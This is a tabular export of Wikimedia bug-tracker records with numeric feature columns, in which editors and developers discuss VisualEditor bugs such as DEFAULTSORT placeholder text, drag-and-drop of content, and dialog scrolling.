We may consider doing something else, like having a tick to explicitly override the sorting key, and separately have a text input widget which, as requested, is populated with the default or current value.

There are a few things I'm not happy with here, however.

* What happens when DEFAULTSORT is set to empty string?
* It feels like we are adding too much complexity
* If the user unticks override, does the text input widget's value get set to the deafult value, or just get grayed out (either has it's downfalls)"
238931,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","Thanks for the explanation! So it remains a bug - and distinctly irritating, for someone who adds a lot of DEFAULTSORTs to articles. 

That said, I suppose it doesn't actually create any more work for the editor than adding the DEFAULTSORT in the old edit system: the value would always have had to be typed in from scratch.",,,1372888485,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,False,,,0,,2.0,2.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,2.0,8.0,15.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,9.0,0.0,2.0,14.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,5.0,15.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,3.0,2.0,0.0,0.0,4.045454545454546,0.8181818181818182,"Thanks for the explanation! So it remains a bug - and distinctly irritating, for someone who adds a lot of DEFAULTSORTs to articles. 

That said, I suppose it doesn't actually create any more work for the editor than adding the DEFAULTSORT in the old edit system: the value would always have had to be typed in from scratch."
238927,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","(In reply to comment #1)
> This seemed yesterday to be fixed (I managed to edit the DEFAULTSORT of [[The
> New Elizabethans]] by removing ""The "" and retyping it at the end), but today
> - both this morning and just now - the problem is still/again there: to edit
> the DEFAULTSORT of [[Alexander Gilkes]] I had to retype it all.

We've not touched this code in the past two weeks; what you saw was the effect of someone setting the DEFAULTSORT actively to ""The New Elizabethans"" - see the diff on your edit: https://en.wikipedia.org/w/index.php?title=The_New_Elizabethans&diff=562509771&oldid=562443570",,,1372882958,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,True,,,0,,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,20.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,5.0,11.0,9.0,0.0,4.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4642857142857144,0.8035714285714286,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

We've not touched this code in the past two weeks; what you saw was the effect of someone setting the DEFAULTSORT actively to ""The New Elizabethans"" - see the diff on your edit: URL"
238924,"VisualEditor: Make defaultsort input field always use ""real"" text, not a placeholder","This seemed yesterday to be fixed (I managed to edit the DEFAULTSORT of [[The New Elizabethans]] by removing ""The "" and retyping it at the end), but today - both this morning and just now - the problem is still/again there: to edit the DEFAULTSORT of [[Alexander Gilkes]] I had to retype it all. ~~~~",,,1372881473,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-457x6imtkd7rswr4kl6x,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,15.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,7.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.464788732394366,0.704225352112676,"This seemed yesterday to be fixed (I managed to edit the DEFAULTSORT of [[The New Elizabethans]] by removing ""The "" and retyping it at the end), but today - both this morning and just now - the problem is still/again there: to edit the DEFAULTSORT of [[Alexander Gilkes]] I had to retype it all. ~~~~"
51981,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it","More general bug, following on from bug 41150 - this is for text selections, for other generated content blocks, ? others.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50643",Medium,50.0,1371851820,1403055832.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-busqmj37jbvye6nty5bt,task_description,resolved,True,c1,2,True,False,False,-2,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.69811320754717,0.6226415094339622,"More general bug, following on from bug 41150 - this is for text selections, for other generated content blocks, ? others.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
237746,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it","Change 140103 merged by jenkins-bot:
Drag and drop of arbitrary selections

https://gerrit.wikimedia.org/r/140103",,,1403052458,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.529411764705882,1.0,"Change 140103 merged by jenkins-bot:
Drag and drop of arbitrary selections

GERRIT_URL"
237742,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it","Change 140103 had a related patch set uploaded by Esanders:
Drag and drop of arbitrary selections

https://gerrit.wikimedia.org/r/140103",,,1403008691,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,False,,,50,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Change 140103 had a related patch set uploaded by Esanders:
Drag and drop of arbitrary selections

GERRIT_URL"
237737,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",*** Bug 49486 has been marked as a duplicate of this bug. ***,,,1380609083,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49486 has been marked as a duplicate of this bug. ***
237732,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",fwiw I believe this bug has been mentioned at https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#VisualEditor_weekly_update_-_2013-09-26_.28MW_1.22wmf19.29 - being the doubt whether reflists can be now dragged or not.,,,1380324429,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,9.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,9.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9130434782608696,1.0,fwiw I believe this bug has been mentioned at URL - being the doubt whether reflists can be now dragged or not.
237726,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it","As an update, if you select a reference or non-floated template you can now move these too; however, floated templates and text can't be moved with drag-and-drop yet.",,,1380151994,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,3.0,3.0,10.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,3.0,8.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5641025641025643,0.8461538461538461,"As an update, if you select a reference or non-floated template you can now move these too; however, floated templates and text can't be moved with drag-and-drop yet."
237719,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",*** Bug 52364 has been marked as a duplicate of this bug. ***,,,1375319436,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52364 has been marked as a duplicate of this bug. ***
237711,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",*** Bug 50359 has been marked as a duplicate of this bug. ***,,,1373663953,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50359 has been marked as a duplicate of this bug. ***
237703,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",Adding a link to https://bugzilla.wikimedia.org/show_bug.cgi?id=50359 which is related.,,,1373663569,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,22.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,0.0,3.4444444444444446,1.0,Adding a link to URL which is related.
237696,"VisualEditor: Drag-and-drop of content (text, transclusions, references, …) to move it",*** Bug 50183 has been marked as a duplicate of this bug. ***,,,1372183302,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-busqmj37jbvye6nty5bt,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50183 has been marked as a duplicate of this bug. ***
51977,VisualEditor: Closing a dialog scrolls you up to the top of the document,"

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1371844500,1372264572.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-sl5n5bwvzliz5t3rwkrs,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.5,"

--------------------------
**Version**: unspecified
**Severity**: minor"
237537,VisualEditor: Closing a dialog scrolls you up to the top of the document,Fixed and being deployed right now.,,,1372264572,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sl5n5bwvzliz5t3rwkrs,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Fixed and being deployed right now.
237530,VisualEditor: Closing a dialog scrolls you up to the top of the document,Related URL: https://gerrit.wikimedia.org/r/70614 (Gerrit Change I8cc12ba7845eebc6199fbcd2d355bf0d5f38264b),,,1372248326,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-sl5n5bwvzliz5t3rwkrs,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I8cc12ba7845eebc6199fbcd2d355bf0d5f38264b)
237525,VisualEditor: Closing a dialog scrolls you up to the top of the document,"Ignore that, the selection is still working after Roan rolled back newFromDocumentInsertion, but scroll is still a problem.",,,1372246033,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-sl5n5bwvzliz5t3rwkrs,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0476190476190474,0.8571428571428571,"Ignore that, the selection is still working after Roan rolled back newFromDocumentInsertion, but scroll is still a problem."
237518,VisualEditor: Closing a dialog scrolls you up to the top of the document,This is a regression because I fixed dialog close re-focusing.,,,1372245042,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-sl5n5bwvzliz5t3rwkrs,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,4.076923076923077,1.0,This is a regression because I fixed dialog close re-focusing.
51968,VisualEditor: VE not detecting colour/boxing around multiple issues template,"See https://en.wikipedia.org/wiki/Virivilai for example - bug with the VE or bug with the template?

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1371833340,1373160219.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-pcf2yvjdcefbppv4nmdv,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,15.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.696969696969697,0.6363636363636364,"See URL for example - bug with the VE or bug with the template?

--------------------------
**Version**: unspecified
**Severity**: normal"
236877,VisualEditor: VE not detecting colour/boxing around multiple issues template,"We've fixed this, somehow, since it was filed; sorry for not being able to be more precise as to whether the fix was in Parsoid or VisualEditor (it definitely wasn't the template, as that's not been changed in > a month).",,,1373160219,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pcf2yvjdcefbppv4nmdv,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,4.0,6.0,6.0,8.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,2.0,0.0,12.0,18.0,0.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,18.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,3.549019607843137,0.803921568627451,"We've fixed this, somehow, since it was filed; sorry for not being able to be more precise as to whether the fix was in Parsoid or VisualEditor (it definitely wasn't the template, as that's not been changed in > a month)."
51964,VisualEditor: Saving or closing the editing pane does not restore the default view of the article,"The VisualEditor isn't perfectly rendering markup yet (which is understandable), and even when it does it'll look slightly different from read mode in a lot of ways. The problem is that cancelling the VE editing interface, or saving, loads a VE-rendered article view rather than what the article actually looks like.

(sorry if this sounds nonsensical; it's difficult to explain at this end).

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1371829500,1399325038.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-4tagph3in7nb7kiwdldq,task_description,resolved,True,c1,2,False,False,False,-2,,0.0,0.0,1.0,0.0,1.0,7.0,2.0,0.0,0.0,1.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,8.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,3.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,13.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,7.0,3.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,4.112244897959184,0.7346938775510204,"The VisualEditor isn't perfectly rendering markup yet (which is understandable), and even when it does it'll look slightly different from read mode in a lot of ways. The problem is that cancelling the VE editing interface, or saving, loads a VE-rendered article view rather than what the article actually looks like.

(sorry if this sounds nonsensical; it's difficult to explain at this end).

--------------------------
**Version**: unspecified
**Severity**: normal"
236532,VisualEditor: Saving or closing the editing pane does not restore the default view of the article,I believe all of the changes for this has been merged and fixed some months ago; please correct if there are still issues.,,,1399325038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4tagph3in7nb7kiwdldq,task_subcomment,,True,c1,3,True,,,44,,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,I believe all of the changes for this has been merged and fixed some months ago; please correct if there are still issues.
236527,VisualEditor: Saving or closing the editing pane does not restore the default view of the article,"The example given at the enwiki feedback page was [[scaphoid fracture]]. Observe the spacing of infobox content, then enter and leave VE mode and notice the alteration.",,,1371862821,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-4tagph3in7nb7kiwdldq,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,9.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.176470588235294,0.8235294117647058,"The example given at the enwiki feedback page was [[scaphoid fracture]]. Observe the spacing of infobox content, then enter and leave VE mode and notice the alteration."
